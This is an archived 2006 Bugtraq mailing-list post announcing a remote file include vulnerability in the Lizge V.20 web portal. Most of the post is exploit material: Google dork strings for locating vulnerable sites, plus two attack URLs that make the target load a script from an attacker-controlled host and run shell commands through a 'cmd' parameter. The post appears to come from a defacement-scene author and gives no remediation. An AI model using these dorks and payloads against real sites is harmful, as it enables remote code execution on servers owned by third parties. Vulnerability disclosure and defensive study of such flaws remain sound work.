bugtraq - Lizge V.20 Web Portal File Include Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060815192451.5503.qmail@securityfocus.com>
Date: 15 Aug 2006 19:24:51 -0000
From: crackers_child@...ersavascilar.com
To: bugtraq@...urityfocus.com
Subject: Lizge V.20 Web Portal File Include  Vulnerability

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------

Title : Lizge V.20 Web Portal File Include Vulnerability

--------------------------------------------------------------------------------
#Author: Crackers_Child


#cont@ct: crackers_child@...ersavascilar.com

--------------------------------------------------------------------------------
Affected software description :
--------------------------------------------------------------------------------
Application :  Lizge V.20 Web Portal
URL :  http://www.lizge.com

--------------------------------------------------------------------------------

dork        :allinurl:"index.php?lizge=
            :allinurl:"index.php?bade=
           
--------------------------------------------------------------------------------

Usage:

http://[target]/[lizge_path]//index.php?lizge=http://[evilhost]/cmd.txt?&cmd=ls

http://[target]/[lizges_path]//index.php?bade=http://[evilhost]/cmd.txt?&cmd=ls

--------------------------------------------------------------------------------

greets:

X_ALPEREN_X,Root_MOr And All Other Friends

--------------------------------------------------------------------------------



--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------